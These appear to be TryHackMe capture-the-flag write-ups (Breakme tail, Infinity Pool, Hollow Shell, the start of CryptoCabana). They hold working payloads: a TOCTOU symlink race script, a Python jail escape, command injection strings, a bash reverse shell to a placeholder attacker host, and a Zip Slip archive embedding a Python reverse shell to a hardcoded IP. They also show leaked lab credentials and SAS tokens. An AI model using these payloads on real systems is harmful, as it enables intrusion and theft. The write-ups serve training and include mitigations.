        int fd = open(argv[1], 0);
        ...
    }
}

Confirms the reverse-engineered logic exactly: lstat() decides whether the path is a symlink,
but open() re-resolves the path from scratch afterward. If the path is swapped from a regular
file to a symlink pointing at /home/youcef/.ssh/id_rsa in the gap between those two calls, the
symlink check passes (it saw a regular file) while open() follows the now-symlinked path and
reads id_rsa anyway - bypassing the id_rsa filename check and the symlink check together,
since neither is re-evaluated at open time.

Sanity-checked the binary directly before building an exploit:

john@Breakme:/home/youcef$ ./readfile readfile.c
Nice try!
john@Breakme:/home/youcef$ ./readfile /root/root.txt
File Not Found

readfile.c trips the symlink/unreadable checks as expected (it's not directly relevant here, but
confirms the checks fire), and /root/root.txt simply isn't accessible - as expected, since this
binary is scoped to youcef's files, not root's.

Building the race - and the mistakes along the way

First attempt at writing the flip script used the wrong heredoc redirection and immediately failed:

john@Breakme:~/race$ cat > flip.sh < 'EOF'
bash: EOF: No such file or directory

< reads from EOF as a file rather than starting a heredoc. Second attempt used >> instead of
<<, which meant the terminal just echoed the pasted script content back as if it were being
typed live, rather than capturing it into the heredoc:

john@Breakme:~/race$ cat > flip.sh >> 'EOF'
#!/bin/bash
...
EOF
^C

Had to Ctrl-C out of that. The correct form, << with a quoted delimiter, finally worked for both
scripts:

# flip.sh
TARGET="/home/youcef/.ssh/id_rsa"
touch real_loot && chmod 644 real_loot
ln -sf "$TARGET" link_loot

while true; do
  mv -T link_loot loot
  ln -sf "$TARGET" link_loot
  mv -T real_loot loot
  : > real_loot; chmod 644 real_loot
done

# race.sh
i=0
while true; do
  out=$(/home/youcef/readfile loot 2>/dev/null)
  i=$((i+1))
  if [[ "$out" == *"PRIVATE KEY"* ]]; then
    echo "$out"
    echo "[+] Won after $i attempts"
    break
  fi
done

Running them immediately after failed too - forgot the executable bit, and the earlier botched
>> attempt had also left a stray file named EOF sitting in the directory:

john@Breakme:~/race$ ./flip.sh &
./race.sh
bash: ./race.sh: Permission denied
bash: ./flip.sh: Permission denied
[1]+  Exit 126                ./flip.sh
john@Breakme:~/race$ ls -la
-rw-r--r-- 1 john john  318 Aug  7 09:57 EOF
-rw-r--r-- 1 john john  314 Aug  7 09:57 flip.sh
-rw-r--r-- 1 john john  208 Aug  7 09:57 race.sh
john@Breakme:~/race$ chmod +x flip.sh race.sh
john@Breakme:~/race$ rm EOF

With that cleaned up, the race finally ran properly:

john@Breakme:~/race$ ./flip.sh &
./race.sh
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
I guess you won!
[+] Won after 71 attempts

71 attempts to win the race - fast enough in practice. All three earlier mistakes (wrong redirect,
wrong heredoc operator, missing exec bit) are what actually led to landing on this careful
two-script setup rather than a single-shot attempt - each failure narrowed down exactly what the
race needed to work reliably.

Cracking and using the key

The leaked key is passphrase-protected. First instinct was to just try it directly:

john@Breakme:~/race$ ssh -i /home/john/id_rsa_youcef youcef@localhost
Enter passphrase for key '/home/john/id_rsa_youcef':

No passphrase known yet, so that stalled - needed to crack it offline first. ssh2john.py wasn't
where expected on this box, so it took a couple of tries to locate:

john@Breakme:~/race$ python3 /usr/share/john/ssh2john.py /home/john/id_rsa_youcef > id_rsa_youcef.hash
python3: can't open file '/usr/share/john/ssh2john.py': [Errno 2] No such file or directory

# attacker - same problem there
root@kali:~# python3 /usr/share/john/ssh2john.py /home/john/id_rsa_youcef > yousef.hash
python3: can't open file '/usr/share/john/ssh2john.py': [Errno 2] No such file or directory
root@kali:~# which john
/usr/local/bin/john
root@kali:~# python3 /usr/local/bin/john/ssh2john.py /home/john/id_rsa_youcef > yousef.hash
python3: can't open file '/usr/local/bin/john/ssh2john.py': [Errno 20] Not a directory
root@kali:~# locate ssh2john
/opt/john-bleeding/run/ssh2john.py

With the right path found, generating the hash and cracking with rockyou.txt worked:

root@kali:~# python3 /opt/john-bleeding/run/ssh2john.py yousef > yousef.hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt yousef.hash
a123456          (yousef)
1g 0:00:00:18 DONE

With the key and cracked passphrase, SSH in as youcef:

ssh -i /home/john/id_rsa_youcef youcef@localhost
Enter passphrase for key '...': a123456
youcef@Breakme:~$ whoami
youcef
youcef@Breakme:~$ cat .ssh/user2.txt
[REDACTED]

Privilege Escalation to root - Python Jail Escape

youcef@Breakme:~$ sudo -l
User youcef may run the following commands on breakme:
    (root) NOPASSWD: /usr/bin/python3 /root/jail.py

youcef can run a Python script as root with no password. Running it drops into an interactive
"jail":

youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
  Welcome to Python jail
  Will you stay locked forever
  Or will you BreakMe
>> import os
Illegal Input

The script exec()s user input after filtering it against a blacklist of substrings -
import, os, system, exec, eval, open, subprocess, builtins, __import__, etc.
Direct references to any of these are rejected outright.

Probing showed globals(), locals(), dir(), and attribute access via __dict__ all worked,
since none of those literal strings are blacklisted:

>> print(__builtins__.__dict__)
{... '__import__': <built-in function __import__>, ... }

So __import__ and os/system exist and are reachable - they just can't be typed literally.
The bypass: Python strings have a .swapcase() method, so a blacklisted word can be written in
the opposite case and flipped back to the correct case at runtime, never appearing as the literal
blacklisted substring in the source the filter sees:

>> print('SYSTEM'.swapcase())
system
>> print(__builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('ID'.swapcase()))
uid=0(root) gid=0(root) groups=0(root)

os.system() executing as root, confirmed by id. From there, spawning an interactive shell:

>> print(__builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('/BIN/BASH'.swapcase()))
root@Breakme:/home/youcef# whoami
root
root@Breakme:/home/youcef# id
uid=0(root) gid=0(root) groups=0(root)
root@Breakme:~# cat .root.txt
[REDACTED]

Root.

Key Vulnerabilities

#	Vulnerability	Component
1	Weak WordPress user password (`bob` / `soccer`), reachable via password-attack	WordPress login
2	Privilege escalation via unauthenticated parameter injection (`wpda_role[]`) on profile update	WP Data Access plugin 5.3.5 (CVE-2023-1874)
3	Arbitrary PHP write/execute via built-in Theme File Editor	WordPress core (by-design admin feature, abused post-privesc)
4	OS command injection via a denylist regex (`[^a-zA-Z0-9\	\${}\/:.]`) that still allows` \
5	TOCTOU race condition between {% raw %}`lstat()` symlink check and `open()`	SUID `readfile` binary
6	Blacklist-based sandbox using substring matching, bypassable with `str.swapcase()`	`/root/jail.py`, invoked via passwordless `sudo`

Mitigations

Patch WordPress and all plugins. WP Data Access 5.3.5 is years out of date and has a disclosed, trivially exploitable privilege escalation bug - upgrading past 5.3.8 closes it.
Enforce strong, unique passwords for WordPress accounts and rate-limit/lock out wp-login.php to prevent password-attack tools like wpscan from succeeding.
Disable the Theme/Plugin File Editor in wp-config.php (define('DISALLOW_FILE_EDIT', true);) so that even a compromised admin account can't reach arbitrary PHP execution through the dashboard.
Never trust client-supplied input passed to shell commands. The port-9999 tool's cmd2 handler uses a denylist regex that still permits |, $, {, and } - exactly the characters needed to inject a command. A safe fix would use escapeshellarg()/escapeshellcmd() correctly or, better, avoid shell_exec() entirely in favor of an allowlist of known-safe values (e.g., only real system usernames looked up via getent).
Avoid TOCTOU patterns entirely - check-then-use races on the filesystem can rarely be fixed by adding more checks. Open the file first (e.g., with O_NOFOLLOW), then fstat() the resulting file descriptor to validate it, rather than statting a path and later opening that same path by name.
Don't roll your own Python sandbox with a keyword blacklist. String-level filtering can always be defeated with case games, encodings, or attribute access tricks. If code execution as root is required, it shouldn't be reachable via sudo at all; if a sandboxed script is genuinely needed, use an actual isolation mechanism (containers, restricted subprocess with a minimal environment, seccomp, etc.) rather than string matching against exec()'d input.

Attack Chain

Weak creds (bob/soccer)
   |--> WP Data Access parameter-tampering privesc -> Administrator
          |--> Theme Editor RCE (404.php reverse shell) -> www-data
                 |--> Command injection on internal port-9999 service -> john
                        |--> TOCTOU race vs SUID readfile -> leak youcef's id_rsa
                               |--> Offline passphrase crack (rockyou) -> youcef
                                      |--> sudo Python jail escape (swapcase bypass) -> root

TryHackMe : Infinity Pool Writeup

Yogeshwar Peela — Fri, 07 Aug 2026 10:41:28 +0000

Summary

Recon on <MACHINE_IP> revealed a Gunicorn-hosted "Byte Lotus" hotel site with two paths disallowed in robots.txt - /internal/ and /status. The /status page exposes an internal staff tool ("Sister-property connectivity") that POSTs a host parameter to /internal/netcheck, which shells out to ping without sanitizing input. This allowed OS command injection as the web user, leading to an initial foothold and the user flag.

From there, an internal-only "Watchtower" ops console (127.0.0.1:3000) leaked FreePBX UCP credentials that were explicitly noted as unrotated default template creds. Logging into the UCP dashboard (via SSH port forwarding, since curl-based login kept looping) and adding a voicemail widget exposed an "Automation Key" bearer token that had leaked into a caller-ID field. That key authenticated to a root-run internal automation service (127.0.0.1:9000), whose /jobs/export endpoint built a shell command from an unsanitized report parameter - a second command injection, this time as root, yielding the root flag.

Recon

nmap -A -Pn <MACHINE_IP> -o nmap

Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-07 03:02 -0400
Nmap scan report for <MACHINE_IP>
Host is up (0.042s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 cd:c0:dc:fe:7e:89:73:23:78:51:06:96:e4:c4:19:7f (ECDSA)
|_  256 32:b1:32:b9:b3:5f:30:92:6c:ee:58:fd:15:82:5d:69 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-robots.txt: 2 disallowed entries
|_/internal/ /status
|_http-title: Byte Lotus &mdash; Stay Noticed
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), Linux 4.X|5.X (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), Linux 4.15 - 5.19 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   37.96 ms 192.168.128.1
2   ...
3   38.68 ms <MACHINE_IP>

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.65 seconds

Two open ports: SSH (22) and HTTP (80, Gunicorn). OS guesses (Crestron/embedded) are noise from the unreliable OS scan and can be disregarded.

robots.txt disclosed two hidden paths:

User-agent: *
Disallow: /internal/
Disallow: /status

/static/app.js contained a developer comment leaking the internal endpoint behind /status:

// Byte Lotus front-end bootstrap.
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.

/internal/ (GET) returned 404 directly, but /status (GET) rendered a form:

<form method="post" action="/internal/netcheck" class="tool">
  <input type="text" name="host" value="" placeholder="property host e.g. 10.0.0.5" autofocus>
  <button type="submit">Check</button>
</form>

dirsearch against the root found nothing further of interest.

Vulnerability - OS Command Injection in /internal/netcheck

The host field is passed unsanitized into a shell command (almost certainly ping <host> under the hood, given the trailing ping: usage error output on every request). Standard ;-separated command chaining worked immediately:

curl -X POST http://<MACHINE_IP>/internal/netcheck -d 'host=;id'

Response body embedded in the <pre class="out"> block:

uid=1001(web) gid=1001(web) groups=1001(web)
ping: usage error: Destination address required

Confirmed further with whoami and which bash:

web
/usr/bin/bash

Getting the reverse shell to fire

First attempts with curl -d failed - unescaped & in the /dev/tcp redirect payload was interpreted by curl as a form-field separator, truncating the command before it ever reached the server (visible in the reflected value= attribute, which showed the string cut off after bash -i). Switching to --data-urlencode fixed the encoding:

penelope -p 4444 listen

curl -X POST http://<MACHINE_IP>/internal/netcheck \
  --data-urlencode "host=;bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"

This curl call returned Request timed out. - expected, not a failure, since the reverse shell never sends an HTTP response back to close the request. The payload had already fired in the background and connected out to the listener. Session landed as web, with penelope auto-upgrading the shell to a PTY via its own python3-based upgrade mechanism (unrelated to the injected payload itself):

[+] [New Reverse Shell] => tryhackme-2404 <MACHINE_IP> Linux-x86_64 web(1001) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3

Root cause confirmed in source

Once shell access was gained, /var/www/infinity_pool/edge/app.py confirmed the vulnerability - the host form value is interpolated straight into an f-string and run with shell=True:

@app.route("/internal/netcheck", methods=["POST"])
def netcheck():
    host = request.form.get("host", "").strip()
    if not host:
        return render_template("status.html", host="", output="No host supplied.")
    try:
        proc = subprocess.run(
            f"ping -c 1 {host}",
            shell=True,
            capture_output=True,
            text=True,
            timeout=15,
        )
        output = proc.stdout + proc.stderr
    except subprocess.TimeoutExpired:
        output = "Request timed out."
    return render_template("status.html", host=host, output=output)

Foothold - User Flag

web@tryhackme-2404:/var/www/infinity_pool/edge$ id
uid=1001(web) gid=1001(web) groups=1001(web)
web@tryhackme-2404:/var/www/infinity_pool/edge$ cat /home/web/user.txt
THM{REDACTED}

App is served out of /var/www/infinity_pool/edge.

Privilege Escalation

Enumeration as web

sudo -l requires a password web doesn't have:

  sudo: a password is required

/home/ubuntu is locked down - .Xauthority and .bash_history both return permission denied.
No unusual SUID binaries outside standard snap-core noise and system defaults (find / -perm -4000 2>/dev/null).
ss -tulnp showed a handful of loopback-only listeners beyond the public app on 80 - but at this stage that's all it was, just open ports with no names attached:

  127.0.0.1:9000
  127.0.0.1:5038   (matches Asterisk AMI's default port)
  127.0.0.1:3000
  127.0.0.1:8080
  127.0.0.1:8088
  127.0.0.1:8089
  127.0.0.1:3306   (MySQL/MariaDB)
  0.0.0.0:22       ssh
  0.0.0.0:80       gunicorn

5038 and 3306 were recognizable from their well-known defaults, but 3000, 8080, 8088, 8089, and 9000 were all unknowns at this point - just doors with no labels on them.

ps aux is what actually identified them. It showed a var/www tree called infinity_pool with three separate Python/gunicorn processes, each running as a different user:

  web          665  /var/www/infinity_pool/edge/venv/bin/python3 ... gunicorn --workers 1 --bind 0.0.0.0:80 wsgi:app
  root         664  /var/www/infinity_pool/automation/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
  svc-watch    666  /var/www/infinity_pool/watchtower/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:3000 wsgi:app

That's where the port-to-service mapping actually came from: edge (the app already owned, running as web) is bound to 80; a separate watchtower process runs as its own svc-watch user on 3000; and automation runs as root on 9000 - the first real sign of something worth escalating toward. ss alone never suggested any of that; it took reading the process list to connect ports to services and owners. (8080, 8088, and 8089 turned out later to be Apache/FreePBX and Asterisk's HTTP/ARI interfaces respectively - that only became clear once UCP was reached directly through 8080; ps aux didn't tie those ports to Apache as cleanly at this stage.)

/etc/systemd/system/cc-automation.service confirmed the important detail - the automation service on port 9000 runs as root:

[Unit]
Description=Closed Circuit - Automation job runner (loopback, root)

[Service]
User=root
Group=root
WorkingDirectory=/var/www/infinity_pool/automation
EnvironmentFile=/var/www/infinity_pool/automation/automation.env
ExecStart=/var/www/infinity_pool/automation/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app

automation.env itself was unreadable as web (permission denied), so the automation Bearer key had to come from somewhere else.

Credential leak via Watchtower

curl http://localhost:3000/api/config (the "Watchtower - ops console" service) returned FreePBX UCP credentials in plaintext, explicitly flagged by an internal ops note as not yet rotated:

{"automation_endpoint":"http://127.0.0.1:9000",
 "note":"internal network only -- do not expose",
 "ops_note":"UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
 "telephony_pass":"St4yN0t1c3d_2026",
 "telephony_portal":"http://127.0.0.1:8080/ucp",
 "telephony_user":"FreePBXUCPTemplateCreator"}

curl http://localhost:9000/health confirmed the automation service's shape and that it runs as root:

{"endpoints":{"GET /health":"service status",
 "POST /jobs/export":{"auth":"Authorization: Bearer <automation key>",
 "body":{"report":"<report name>"},
 "desc":"archive the latest data export"}},
 "runs_as":"root","service":"automation","status":"ok"}

Trying the leaked UCP creds directly against Asterisk AMI (5038) failed - wrong service:

timeout 5 bash -c '(echo -e "Action: Login\r\nUsername: FreePBXUCPTemplateCreator\r\nSecret: St4yN0t1c3d_2026\r\n\r\n"; sleep 2) | nc 127.0.0.1 5038'
Asterisk Call Manager/9.0.0
Response: Error
Message: Authentication failed

Getting into the UCP dashboard

curl-based scripted logins against http://127.0.0.1:8080/ucp/ (grabbing the CSRF token from the login form, then POSTing token/username/password) technically returned HTTP 200 each time but never actually authenticated - the response kept showing an empty <h3>Welcome </h3> and a fresh, unused login form, and later attempts just hung/timed out entirely. The UCP login flow depends on client-side JS/AJAX behavior that plain curl POSTs don't reproduce.

Fix: add an SSH public key to web's authorized_keys (writable as web) and SSH in directly, then forward the internal port out to a real browser instead of fighting curl:

echo 'ssh-ed25519 AAAA...<REDACTED>... kali@kali' >> ~/.ssh/authorized_keys

ssh -L 8080:127.0.0.1:8080 web@<MACHINE_IP>

Browsing to http://127.0.0.1:8080/ucp/ and logging in with FreePBXUCPTemplateCreator / St4yN0t1c3d_2026 worked immediately through the browser.

Leaking the automation key through a voicemail CID

Inside UCP, adding a new dashboard tab and a Voicemail widget for the FreePBXUCPTemplateCreator mailbox surfaced a single voicemail whose Caller ID field had leaked the automation service's Bearer token:

Voicemail entry - Tue, Jun 30, 2026 9:31 AM - CID: "Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000> (extension 9000 lines up with the automation service's port)

This is an internal misconfiguration - a caller-ID/name lookup process appears to have templated the automation key straight into the CID name field for calls involving extension 9000, and that field is fully visible to anyone with UCP voicemail access.

Root via second command injection (automation service)

With the key in hand, /jobs/export behaved like the earlier netcheck endpoint - the report field gets built into a shell command (tar czf /var/automation/exports/<report>.tgz /var/automation/data ...) without sanitization, and it runs as root. Breaking out with ; and closing the rest of the line with #:

curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; id #"}'

{"command":"tar czf /var/automation/exports/x.tgz /var/automation/data; id #.tgz /var/automation/data 2>&1",
 "output":"uid=0(root) gid=0(root) groups=0(root)\ntar: Removing leading `/' from member names\n"}

Confirmed root, then read the flag directly:

curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'

{"command":"tar czf /var/automation/exports/x.tgz /var/automation/data; cat /root/root.txt #.tgz /var/automation/data 2>&1",
 "output":"THM{tr4c3d_t0_th3_h0r1z0n}\ntar: Removing leading `/' from member names\n"}

Root Flag

THM{tr4c3d_t0_th3_h0r1z0n}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Information disclosure via `robots.txt` + JS comment	`/robots.txt`, `/static/app.js`	Revealed hidden internal staff endpoint
2	OS command injection (unsanitized `host` param, `shell=True` + f-string)	`POST /internal/netcheck`	RCE as `web` (uid 1001)
3	Plaintext credential disclosure via internal API	`GET /api/config` on Watchtower (127.0.0.1:3000)	Leaked live FreePBX UCP credentials, explicitly noted as unrotated
4	Sensitive token leaked into an unrelated UI field (caller ID)	UCP voicemail Caller ID, extension 9000	Leaked automation service Bearer token
5	OS command injection (unsanitized `report` param, root-run service)	`POST /jobs/export` on automation service (127.0.0.1:9000)	RCE as `root`

Attack Chain

[robots.txt disallow] --> [/status leaks /internal/netcheck endpoint]
        |
        v
[POST host=;<cmd> to /internal/netcheck] --> [OS command injection as web]
        |
        v
[bash /dev/tcp reverse shell] --> [foothold as web (uid=1001)]
        |
        v
[user.txt captured]
        |
        v
[ss -tulnp: unlabeled internal ports] --> [ps aux: identifies edge/watchtower/automation + owners]
        |
        v
[GET /api/config on Watchtower (127.0.0.1:3000)] --> [leaked FreePBX UCP creds]
        |
        v
[SSH key added to web's authorized_keys] --> [SSH port-forward 8080 to real browser]
        |
        v
[Login to UCP, add Voicemail widget] --> [Automation Key leaked in voicemail CID]
        |
        v
[POST report=;<cmd># to /jobs/export with Bearer key] --> [OS command injection as root]
        |
        v
[root.txt captured]

Mitigations

Never pass user-supplied input directly into a shell command; use a subprocess call with argument lists (no shell=True) and validate input against a strict allowlist. Both /internal/netcheck (host) and /jobs/export (report) need this fix.
Remove reliance on robots.txt and client-side JS comments to "hide" internal tooling - enforce authentication/network-level restriction (VPN, IP allowlist, or auth gateway as the code comment itself suggests was planned).
Never return credentials in plaintext from an internal "status/config" API, even on a loopback-only service - internal-only does not mean untrusted-process-proof once any foothold exists on the host.
Rotate default/template credentials (the app's own ops note flagged this and it was never acted on) and avoid shipping template accounts with static, reused passwords.
Do not template secrets (like the automation Bearer key) into user-visible fields such as caller ID / display name - secrets belong in dedicated secret storage, not in fields designed for human-readable display data.
Run internal automation services with least privilege - the /jobs/export service should not run as root; a dedicated low-privilege service account with only the file/archive permissions it needs would have contained this to a much smaller blast radius.

TryHackMe : The Hollow Shell

Yogeshwar Peela — Thu, 06 Aug 2026 14:23:33 +0000

Overview

The Hollow Shell is a Flask app ("Shoreline Display - Room Service") that lets an
authenticated concierge upload themed "shells" as .zip archives. Each
archive must contain a shell.json manifest, and optionally an assets
list plus an undocumented hooks field described only as "automation
hooks" applied by a background "theme worker." The archive is extracted
server-side with no path sanitization, giving arbitrary file write via
Zip Slip. Combined with the hooks field being executed as a shell command
by the worker process, this chains into full RCE as the roomservice
user.

Recon

nmap -A -Pn 10.48.182.209

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-title: Byte Lotus \xE2\x80\x94 Room Service
|_Requested resource was /login

Gunicorn on 5000 redirecting to /login - a Flask app behind a WSGI
server. SSH open but no creds yet, so 5000 is the way in.

Authentication

Default/guessed creds worked on /login:

curl -c cookies.txt http://10.48.182.209:5000/login -d 'username=concierge&password=StayNoticed2024!'

Session cookie in hand, /dashboard rendered the upload panel:

Found something on the beach? Upload it as a shell (a .zip souvenir pack)
to set the ambiance on the in-room tablets. Each shell must contain a
shell.json manifest listing its assets (images, stylesheets).

A shell may include optional automation hooks - the theme worker applies
these for you shortly after the shell comes ashore, so you don't have to
touch each tablet by hand. Allowed asset types: png jpg gif svg css json.

Two things stood out immediately: a required manifest filename
(shell.json) and an unexplained hooks mechanism processed by a
separate worker.

Mapping the upload flow

First upload attempt used a wrongly-named manifest (test.json) and
silently failed to register - the app requires the exact filename
shell.json at the zip root:

printf '{"name":"test", "assets":[]}' > shell.json
zip test.zip shell.json
curl -b cookies.txt -F "shell=@test.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/dashboard

<li>
  <span class="name">test</span>
  <span class="id">shells/8d23a80c3894/</span>
</li>

The id field is a directory path. Files inside it are served by exact
filename (no directory index):

curl -b cookies.txt http://10.48.182.209:5000/shells/8d23a80c3894/shell.json
{"name":"test", "assets":[]}

Zip Slip - confirming arbitrary write

Extraction uses each zip member's raw path with no os.path.basename()
or normalization. A relative traversal entry alongside a valid
shell.json (so the archive still registers) proved this:

import zipfile
with zipfile.ZipFile('evil8.zip', 'w') as z:
    z.writestr('shell.json', '{"name":"slip7","assets":[]}')
    z.writestr('../../static/poc.txt', 'PWNED_STATIC')

curl -b cookies.txt -F "shell=@evil8.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/static/poc.txt
PWNED_STATIC

This confirmed:

shells/<id>/ sits two directory levels below the app root
No sanitization on extraction - a raw zipfile.extractall()-style write, or manual path join with no traversal check
../../static/ lands in the real Flask static/ directory, which is directly web-servable - giving an easy read-back oracle for further tests

(Absolute paths and multi-level ....// traversal were also tried
before this and consistently 404'd - the ../../ relative form was
what worked here.)

From write primitive to command execution

The hooks field in shell.json accepted arbitrary keys without
rejecting the upload (e.g. {"hooks":{"pre":"id"}} uploaded and
persisted cleanly), but no observable side effect confirmed execution on
its own. Rather than keep guessing the schema blind, the write primitive
from Zip Slip was reused to drop a script into a hooks/ directory two
levels above the extraction folder, referenced from the manifest:

import zipfile, json

manifest = {
    "name": "reverse",
    "assets": [],
    "hooks": {"pre": "python3 hooks/callback.py"}
}

callback = '''import socket,os,pty
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("192.168.159.28",4444))
for fd in (0,1,2):
    os.dup2(sock.fileno(),fd)
pty.spawn("/bin/bash")
'''

with zipfile.ZipFile("reverse-shell.zip", "w") as z:
    z.writestr("shell.json", json.dumps(manifest))
    z.writestr("../../hooks/callback.py", callback)

curl -b cookies.txt -F "shell=@reverse-shell.zip" http://10.48.182.209:5000/upload

Listener caught a shell within seconds of upload, confirming the theme
worker executes the hooks.pre value as a shell command shortly after a
new shell lands:

[+] [New Reverse Shell] => tryhackme-2404 10.48.182.209 Linux-x86_64
    roomservice(996)  Session ID <1>

Post-exploitation

roomservice@tryhackme-2404:/var/www/conch$ id
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)

roomservice@tryhackme-2404:/var/www/conch$ ls
__pycache__  app.py  hooks  requirements.txt  shells  static  templates  theme_worker.py  venv

The directory listing confirms the guessed architecture:
app.py (Flask handlers), a separate theme_worker.py (the background
process polling shells/ and executing hooks), and hooks/ as a real,
attacker-writable directory one level short of what was traversed to
(confirming the app root is exactly two levels above shells/<id>/).

roomservice@tryhackme-2404:/var/www/conch$ cat /home/roomservice/flag.txt
THM{REDACTED}

Root cause

Zip Slip - zip extraction trusted member paths verbatim, allowing writes anywhere the process had permissions relative to shells/<id>/.
Unsandboxed hook execution - theme_worker.py reads hooks.pre (or a referenced script) from user-supplied manifests and executes it as a shell command with no allowlist, sandboxing, or validation.

Either flaw alone would have been serious; together they turn an
"upload a themed zip" feature into unauthenticated-adjacent (single
low-privilege session) RCE.

Fix recommendations

Sanitize every zip member path on extraction: reject entries containing .., absolute paths, or resolve each target path and verify it stays within the intended extraction directory before writing.
Never execute user-controlled strings as shell commands. If hooks are a required feature, use a fixed, non-executable declarative format (e.g. a small allowlist of named theme operations) rather than passing arbitrary strings to a shell.
Run the extraction and worker processes with the minimum filesystem permissions needed - a chrooted or containerized extraction target would have contained this even with the traversal bug present.

TryHackMe : CryptoCabana Writeup

Yogeshwar Peela — Tue, 04 Aug 2026 16:38:58 +0000

Overview

CryptoCabana is a fake crypto-backup service hosted as an Azure Static Website. The attack path chains together four separate misconfigurations:

A low-privilege Azure user with only Reader on one resource group
A publicly exposed Storage Account SAS token leaked in client-side JavaScript
Service Principal credentials sitting unprotected in that same storage account
A Key Vault secret that was "rotated" but never purged, leaving the old version recoverable

None of these are exotic. Each one is a common real-world Azure mistake, and together they turn a read-only foothold into full compromise of the target's secrets.

Step 1: Confirm the Starting Foothold

The CTF hands you an authenticated low-privilege user. First move on any Azure engagement: figure out exactly what that identity can touch.

az account show
az role assignment list --assignee usr-08044275@thmctf.onmicrosoft.com --all --output table

Principal                            Role    Scope
-----------------------------------  ------  -------------------------------------------------------------------------------------
usr-08044275@thmctf.onmicrosoft.com  Reader  /subscriptions/2492269a-2948-46fd-aae3-68c9b066443a/resourceGroups/rg-cloudshell-only

Reader on a single resource group called rg-cloudshell-only. Nothing interesting lives there - it's a dead end by design. This tells us the real path in isn't through IAM privilege at all; it's through something exposed outside of Azure RBAC entirely, like a public web endpoint.

Step 2: Find the Public Static Website

The resource group name (cryptocabana-rg) and the CTF's crypto-wallet theming point toward a storage account serving a static site. Static websites hosted on Azure Storage are public by default once $web is enabled - no auth required to view them.

curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/

This returns a "CryptoCabana" landing page: a fake seed-phrase backup tool. Classic social-engineering bait for the fictional scenario, but for us it's just an entry point. The page loads app.js, so that's the next thing to pull.

curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";

This is the actual vulnerability. A SAS (Shared Access Signature) token is embedded directly in public client-side JavaScript. SAS tokens are bearer credentials - anyone who has the string has the access it grants, no login needed. This one has:

ss=b - scoped to Blob service
srt=sco - applies to service, container, and object level
sp=rl - read + list permissions
se=2099-12-31 - expires in the year 2099 (i.e., effectively never)

Read + list, account-wide, forever. That's a huge blast radius for a token meant only to let a browser PUT a backup blob.

Step 3: Enumerate the Storage Account with the Leaked SAS

With sp=rl we can list every container, not just backups:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

Three containers come back: $web (the site itself), backups (empty - no one's fallen for the phishing yet), and vault - not referenced anywhere in the site's own code. That's worth listing:

